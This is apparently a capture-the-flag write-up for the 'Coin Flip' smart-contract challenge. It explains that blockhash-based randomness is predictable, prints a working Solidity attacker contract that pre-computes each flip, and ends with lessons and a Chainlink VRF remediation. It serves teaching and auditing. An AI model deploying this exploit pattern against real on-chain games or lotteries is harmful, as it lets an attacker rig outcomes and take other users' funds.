🪙 Coin Flip - Predictable Randomness

Challenge Overview

This level challenges us to build up a consecutive winning streak of 10 correct guesses in a row on a coin-flipping game.

The Catch: If we guess wrong even once, our streak resets to 0. Flipping a coin normally gives us a 50/50 chance, making a 10-win streak statistically improbable ($1/2^{10} \approx 0.097\%$) without exploitation.

Technical Analysis

Vulnerability: Deterministic On-Chain Randomness

The CoinFlip contract relies on block variables to determine the coin flip outcome:

1
function flip(bool _guess) public returns (bool) {
2
    uint256 blockValue = uint256(blockhash(block.number - 1));
3

4
    if (lastHash == blockValue) {
5
        revert();
6
    }
7

8
    lastHash = blockValue;
9
    uint256 coinFlip = blockValue / FACTOR;
10
    bool side = coinFlip == 1 ? true : false;
11

12
    if (side == _guess) {
13
        consecutiveWins++;
14
        return true;
15
    } else {
16
        consecutiveWins = 0;
17
        return false;
18
    }
19
}

The Root Cause

The on-chain randomness calculation is entirely deterministic:

1. block.number - 1: The hash of the previous block is public and known to all nodes.
2. FACTOR: A static, hardcoded constant (578960446186...).

Because Ethereum transactions are batched into blocks, any call made from an attacker contract to the target contract in the same transaction will execute in the exact same block. Therefore, both contracts will read the exact same value for block.number - 1 and resolve the exact same blockhash.

The Exploit: The Multi-Step Solution

To achieve a 100% win rate, we can deploy an intermediate Attack contract:

1. Pre-calculate the Flip: The attack contract reads blockhash(block.number - 1) and performs the exact same division logic as the target.
2. Execute and Guess: Once the result is known, the attack contract calls the target’s flip() function, passing the pre-calculated guess as the parameter.
3. Repeat 10 Times: Run this attack function across 10 distinct blocks (as lastHash == blockValue prevents calling it multiple times in the same block).

Proof of Concept (PoC)

Here is the attack contract:

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.0;
3

4
interface ICoinFlip {
5
    function flip(bool _guess) external returns (bool);
6
}
7

8
contract CoinFlipAttacker {
9
    ICoinFlip public immutable target;
10
    uint256 private constant FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
11

12
    constructor(address _target) {
13
        target = ICoinFlip(_target);
14
    }
15

16
    function attack() external {
17
        // 1. Re-calculate the expected random side using block.number - 1
18
        uint256 blockValue = uint256(blockhash(block.number - 1));
19
        uint256 coinFlip = blockValue / FACTOR;
20
        bool expectedSide = coinFlip == 1 ? true : false;
21

22
        // 2. Submit the 100% accurate guess
23
        require(target.flip(expectedSide), "Guess failed!");
24
    }
25
}

Auditor’s Lessons

1. On-Chain Data is Not Secret or Random: Variables like block.timestamp, blockhash, coinbase, and difficulty are completely predictable. Never use them as sources of entropy for critical actions.
2. Same-Block Execution: When two contracts interact in a nested call, they share the same execution block environment. Security designs must assume attackers can write custom contract wrappers to frontrun or pre-calculate state.
3. Use Off-Chain Oracles: For true, tamper-proof randomness, use solutions like Chainlink VRF (Verifiable Random Function) which uses cryptographic proofs to guarantee un-predictable randomness on-chain.

Remediation

Refactor the contract to ingest verifiable randomness from an external oracle:

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.0;
3

4
import "@chainlink/contracts/src/v0.8/vrf/VRFConsumerBaseV2.sol";
5

6
contract SecureCoinFlip is VRFConsumerBaseV2 {
7
    uint256 public consecutiveWins;
8
    // ... Chainlink VRF setup ...
9

10
    function requestFlip() external returns (uint256 requestId) {
11
        // Request secure off-chain randomness
12
    }
13

14
    function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords) internal override {
15
        bool side = (randomWords[0] % 2 == 0);
16
        // Process streak logic securely
17
    }
18
}